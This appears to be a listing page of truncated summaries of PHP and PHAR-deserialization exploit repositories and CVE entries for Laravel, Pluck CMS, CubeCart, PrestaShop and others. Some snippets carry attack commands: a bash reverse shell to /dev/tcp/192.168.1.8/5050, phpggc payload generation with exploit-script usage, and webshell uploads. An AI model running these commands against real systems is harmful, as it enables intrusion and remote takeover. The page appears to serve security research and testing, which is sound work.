CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 Vulnerability Overview When Laravel's debug mode is enabled, due to the unsafe use of the filegetcontents and fileputcontents functions by Laravel's built-in Ignition component, an attacker can trigger Phar deserialization by sending malicious requests,...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

CVE-2025-3515

CVE-2025-3515 CVE‑2025‑3515 — Drag and Drop Multiple File Upload for Contact Form 7 Description: Arbitrary file uploads via drag‑and‑drop‑multiple‑file‑upload-contact‑form‑7 ≤1.3.8.9 allow upload of .phar files, leading to remote code execution in Apache+modphp :contentReferenceoaicite:29index=29...

CVE-2020-29607

CVE-2020-29607-Exploit Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution Authenticated CVE description: A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin privileged user to gain access in the host through the "manage files" functionality,...

CVE-2024-55187

Summary Sensitive administrative parameters are not sufficiently sanitized, allowing an attacker to poison paths to system binaries. The attacker can then upload dangerous CSV files that can then be treated as PHAR archives holding shell metacharacters that will be evaluated by PHP's exec call,...

LKWA

LKWA Lesser Known Web Attack Lab is for intermediate pentester that can test and practice lesser known web attacks such as Object Injection, XSSI, PHAR Deserialization, variables variable ..etc. Write-ups are welcome. My own walk-through is here . Installation - Local Just clone the git with git...

PrestaShop-CVE-2018-19126

PrestaShop Back Office Remote Code Execution CVE-2018-19126 This is the PoC for CVE-2018-19126, chaining multiple vulnerabilities in PrestaShop Back Office to trigger deserialization via phar to achieve remote code execution. Prerequisite: PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4...

CVE-2024-33438

Arbitrary File Upload Leads to RCE CVE-2024-33438 CubeCart After running it, this is the expected output for a successful exploitation: python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please wait... + Trying to...

elFinder < 2.1.58 - Remote Code Execution

studio-42/elfinder before 2.1.58 contains a remote code execution caused by execution of PHP code in a .phar file, letting attackers execute arbitrary PHP code if the server parses .phar files as PHP, exploit requires server to parse .phar files as PHP. id: CVE-2021-23394 info: name: elFinder...

Contact Form 7 Drag and Drop Multiple File Upload - Arbitrary File Upload

The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and...

CVE-2023-3824

PHP Malicious Phar File PoC CVE-2023-3824 Description This Proof of Concept PoC demonstrates how to create a malicious Phar file in PHP and trigger a buffer overflow vulnerability. Usage Creating the Malicious Phar File 1. Create a new PHP file e.g., createphar.php and add the following code:...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

laravel-exploits

laravel-exploits Exploit para CVE-2021-3129 Detalles: https://www.ambionics.io/blog/laravel-debug-rce Uso $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

CVE-2019-19576

class.upload.php = 2.0.3 Arbitrary file upload Author - Jinny Ramsmark Affected vendor - Verot.net Affected product - class.upload.php = 2.0.3 Tested on newly installed Ubuntu 19.10 with PHP7.3 and Apache/2.4.38 Specifically Debian/Ubuntu has been found to be vulnerable since they add the php,...

magescan

Mage Scan The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into. Installation .phar Download the magescan.pha...

CVE-2023-23924

CVE-2023-23924 Dompdf vulnerable to URI validation failure on SVG parsing · CVE-2023-23924 · GitHub Advisory Database https://github.com/advisories/GHSA-3cw5-7cxw-v5qg Run Terminal 1 ❯ cd www ❯ php -S 127.0.0.1:9000 -t . Terminal 2 ❯ cd src ❯ php cve202323924.php Check Check the "whoami" command ...

CVE-2021-3129_exploit

CVE-2021-3129exploit Exploit for CVE-2021-3129 Lab setup: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Usage: $ git clone https://github.com/nth347/CVE-2021-3129exploit.git $...

CVE-2026-45034

🧨 PHPSpreadsheet Phar Deserialization Exploit BypassprohibitWrappers + Remote Code Execution RCE on phpoffice/phpspreadsheet This repository provides a proof-of-concept PoC exploit for a critical vulnerability in the popular PHP library PHPSpreadsheet. The attack abuses the phar:// wrapper to...

PoC-for-CVE-2020-28948-CVE-2020-28949

POC for CVE-2020-28948 & CVE-2020-28949 The files here contain PoC for CVE-2020-28948 & CVE-2020-28949 to achieve remote exploit The server The server folder contains a simple upload server which uses the vulnerable ArchiveTar library, located in server/Archive. The server accepts a Tar archive...

CVE-2020-29607

Alienfader Exploit / Alien@shell Webshell Upload Exploit Description: This Python script exploits a file upload restriction bypass vulnerability in Pluck CMS e.g., versions prior to 4.7.13 to upload a PHP webshell. Once uploaded, the shell named "shell.phar" can be used to execute commands on the...